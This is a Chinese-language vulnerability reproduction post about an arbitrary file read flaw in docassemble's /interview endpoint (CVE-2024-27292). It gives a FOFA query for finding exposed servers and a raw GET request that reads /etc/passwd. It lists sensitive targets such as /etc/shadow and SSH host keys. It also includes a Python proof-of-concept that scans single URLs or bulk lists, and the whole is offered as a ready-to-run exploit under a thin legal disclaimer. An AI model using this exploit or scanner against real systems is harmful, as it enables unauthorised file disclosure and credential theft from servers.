【漏洞復現】docassemble——interview——任意文件讀取

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

docassemble 是一款強大的開源工具,它讓自動化生成和定制復雜法律文檔變得易如反掌。通過這個平臺,用戶可以構建交互式訪談,收集必要的信息,并自動生成符合需求的文件。無論你是律師、行政助理還是研究人員,docassemble 都能極大地提高你的工作效率。其接口interview存在任意文件讀取漏洞,攻擊者可通過該漏洞獲取系統敏感文件。

漏洞復現

1)信息收集
fofa:icon_hash="-575790689"
在這里插入圖片描述
失敗是成功之母,不失敗怎么能成功?
在這里插入圖片描述
2)構造數據包

GET /interview?i=/etc/passwd HTTP/1.1
Host:ip

在這里插入圖片描述
回顯內容包含passwd文件,驗證成功,存在任意文件讀取漏洞。

在Linux系統中,有許多文件被認為是敏感的,因為它們包含了系統配置、用戶數據和其他重要信息。以下是一些常見的Linux系統中的敏感文件:

  1. /etc/passwd - 存儲用戶賬戶信息。
  2. /etc/shadow - 存儲加密的用戶密碼。
  3. /etc/group - 存儲用戶組信息。
  4. /etc/gshadow - 存儲加密的用戶組密碼。
  5. /etc/ssh/ssh_host_*_key - SSH主機密鑰文件。

切記!!不要違法!!!

測試工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入requests庫,用于發送HTTP請求
import requests
# 導入argparse庫,用于解析命令行參數
import argparse
# 導入time庫,雖然在這段代碼中未使用,但可能用于其他目的,比如等待或延遲
import time
# 從urllib3庫導入InsecureRequestWarning,用于忽略SSL警告
from urllib3.exceptions import InsecureRequestWarning# 定義打印顏色常量
RED = '\033[91m'  # 紅色
RESET = '\033[0m'  # 重置顏色# 忽略不安全請求的警告,避免在請求HTTPS時提示不安全警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定義檢查漏洞的函數
def check_vulnerability(url):try:# 去除URL末尾的斜杠,并構造完整的攻擊URLattack_url = url.rstrip('/') + "/interview?i=/etc/passwd"# 發送GET請求到攻擊URL,不驗證SSL證書,超時時間設置為10秒response = requests.get(attack_url, verify=False, timeout=10)# 檢查HTTP響應狀態碼和響應體中的關鍵字,判斷是否存在漏洞if response.status_code == 200 and 'root' in response.text:print(f"{RED}URL [{url}] 可能存在CVE-2024-27292 任意文件讀取漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")# 捕獲請求超時異常,提示可能存在漏洞except requests.exceptions.Timeout:print(f"URL [{url}] 請求超時,可能存在漏洞")# 捕獲其他請求異常,打印錯誤信息except requests.RequestException as e:print(f"URL [{url}] 請求失敗: {e}")# 定義主函數,用于解析命令行參數并調用檢查函數
def main():# 創建ArgumentParser對象,用于解析命令行參數parser = argparse.ArgumentParser(description='檢測目標地址是否存在CVE-2024-27292 任意文件讀取漏洞')# 添加命令行參數,用于指定目標URLparser.add_argument('-u', '--url', help='指定目標地址')# 添加命令行參數,用于指定包含目標地址的文本文件parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果指定了單個URL,則檢查該URL是否存在漏洞if args.url:# 如果URL未以http://或https://開頭,則添加http://前綴if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了文件,則逐行讀取文件中的URL并檢查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 如果URL未以http://或https://開頭,則添加http://前綴if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 程序入口點
if __name__ == '__main__':main()

運行過程:
在這里插入圖片描述


裝作擁有某樣品質,實際上就等于承認了自己并沒有這樣品質。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43514.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43514.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43514.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

linux_進程概念——理解馮諾依曼體系結構

前言: 本篇內容是為了讓友友們較好地理解進程的概念, 而在真正了解進行概念之前, 要先了解一下馮諾依曼體系結構。 所以博主會先對馮諾伊曼體系結構進行解釋, 然后再講解進程的概念。 ps: 本篇內容適合了解一些linux指…

openfoam生成的非均勻固體Solid數據分析、VTK數據格式分析、以及paraview官方用戶指導文檔和使用方法

一、openfoam生成的非均勻固體Solid數據分析 對于Solid/dealii-output文件,固體的數據文件, # vtk DataFile Version 3.0 #This file was generated by the deal.II library on 2024/7/10 at 9:46:15 ASCII DATASET UNSTRUCTURED_GRIDPOINTS 108000 do…

go1.21版本后,文件加載順序

總結 顯式引入: 同一個文件顯式引入一個包,按照頁面代碼執行的函數的先后,來執行該函數的文件,不按照包內的文件首字母順序 隱式引入: 同一個文件內隱式引入一個包,包內的多個文件會按照文件首字母順序執行…

移動端 圖片優化

項目場景: 在移動端開發,加載圖片并保持圖片不變形是非常重要的,也是一名前端必備和經常打交道的內容。以下是自己對圖片加載是變形的處理? 問題和解決方法 移動端加載圖片,不同的手機,圖片的展示不一樣&…

二分查找理論及例題

二分查找(Binary Search)是一種常用的搜索算法,用于在有序數組中快速查找目標值。以下是二分查找的詳細理論知識、優缺點以及適用場景: 理論知識: 基本原理:二分查找通過比較目標值與數組的中間元素&#x…

Qt(五)網絡編程

文章目錄 一、QTcpServer類(一)使用(二)示例1. 服務端2. 客戶端: 二、 一、QTcpServer類 QTcpServer類用于監聽客戶端的連接,每當有一個客戶端連接到服務端,都會生成一個新的QTcpSocket對象與客…

【每日一練】python面對對象的基本概念和用法(附實例)

面向對象編程(OOP)是一種程序設計方法,其基本概念包括對象、類、繼承和封裝。 對象:對象是系統中的基本單位,用于描述客觀事物。每個對象包含一組屬性和對這些屬性進行操作的方法。對象是類的一個實例,具有…

Spark SQL----NULL語義

Spark SQL----NULL語義 一、比較運算符中的空處理二、邏輯運算符中的空處理三、表達式中的空處理3.1 null-intolerant表達式中的空處理3.2 可以處理空值操作數的空處理表達式3.3 內置聚合表達式中的空處理 四、WHERE、HAVING和JOIN子句中的條件表達式的空處理五、在GROUP BY和D…

Camera Raw:直方圖

Camera Raw 的直方圖 Histogram面板不僅提供了照片亮度和色彩分布信息,還具備多項實用功能,輔助評估和調整照片。 ◆ ◆ ◆ 直方圖的構成 直方圖是一個二維坐標系統,橫坐標表示不同程度的像素亮度,從左到右通常對應的是 0 ~ 255…

升級springboot3.2集成shiro的問題

由于之前的springcloud相關版本太久,很多新功能無法使用,所以打算抽時間把代碼的版本做一下升級。使用最新版的springboot3.2,發現shiro過濾器無效。經檢查發現原因: springboot3.x使用的是JDK17,從jdk8以后javax.serv…

視頻智能解析:Transformer模型在視頻理解的突破性應用

視頻智能解析:Transformer模型在視頻理解的突破性應用 隨著人工智能技術的飛速發展,視頻理解已成為計算機視覺領域的一個熱點問題。Transformer模型,以其在處理序列數據方面的強大能力,已經被廣泛應用于視頻理解任務中。本文將深…

Github 2024-07-11 Go開源項目日報 Top10

根據Github Trendings的統計,今日(2024-07-11統計)共有10個項目上榜。根據開發語言中項目的數量,匯總情況如下: 開發語言項目數量Go項目10Solidity項目1Python項目1frp: 一個開源的快速反向代理 創建周期:2946 天開發語言:Go協議類型:Apache License 2.0Star數量:75872 …

Spring的bean的生命周期——bean的創建與銷毀

1、生成類信息map 掃描包,用asm技術獲取類信息,打了ComponentScancomponentservice等注解的類會放入map。key是類名,value是beanDefinition類的基本信息 2、加載類 context.getBean("userService") 從類信息map中獲取beanDefin…

SSRF漏洞深入利用與防御方案繞過技巧

文章目錄 前言SSRF基礎利用1.1 http://內網資源訪問1.2 file:///讀取內網文件1.3 dict://探測內網端口 SSRF進階利用2.1 Gopher協議Post請求2.2 Gopher協議文件上傳2.3 GopherRedis->RCE2.4 JavaWeb中的適用性? SSRF防御繞過3.1 Url黑名單檢測的繞過3.2 Url白名單…

對controller層進行深入學習

目錄 1. controller層是干什么的?1.1 controller原理圖1.2 controller層為什么要存在?1.2.1 分離關注點1.2.2 響應HTTP請求1.2.3 數據處理與轉換1.2.4 錯誤處理與狀態管理1.2.5 流程控制1.2.6 依賴注入與測試 1.3 controller層的優點1.3.1 多端支持1.3.2…

Gin框架自定義路由

Gin框架是一個用Go語言(Golang)編寫的Web框架,它提供了靈活且高效的路由系統。在Gin框架中,自定義路由是一個基礎且重要的操作,它允許開發者定義應用程序如何處理不同的HTTP請求。以下是自定義路由的詳細步驟和方法&am…

Linux虛擬化大師:使用 KVM 和 QEMU 進行高級虛擬化管理

Linux 虛擬化大師:使用 KVM 和 QEMU 進行高級虛擬化管理 虛擬化技術是現代數據中心的核心技術之一,它可以將一臺物理服務器分割成多個虛擬機,從而提高資源利用率,降低成本,并增強系統的靈活性和可擴展性。KVM&#xf…

C++ | Leetcode C++題解之第225題用隊列實現棧

題目&#xff1a; 題解&#xff1a; class MyStack { public:queue<int> q;/** Initialize your data structure here. */MyStack() {}/** Push element x onto stack. */void push(int x) {int n q.size();q.push(x);for (int i 0; i < n; i) {q.push(q.front());…

C++ 【 Open3D 】 點云按高程進行賦色

一、 Open3D中根據點云的高程度信息為點云中的每個點附上顏色&#xff0c;并保存顏色渲染結果&#xff01; #include<iostream> #include<open3d/Open3D.h>using namespace std;int main() {//-------------------------------讀取點云--------------------------…

nasa數據集——1 度網格單元的全球月度土壤濕度統計數據

AMSR-E/Aqua level 3 global monthly Surface Soil Moisture Averages V005 (AMSRE_AVRMO) at GES DISC GES DISC 的 AMSR-E/Aqua 第 3 級全球地表土壤水分月平均值 V005 (AMSRE_AVRMO) AMSR-E/Aqua level 3 global monthly Surface Soil Moisture Standard Deviation V005 (…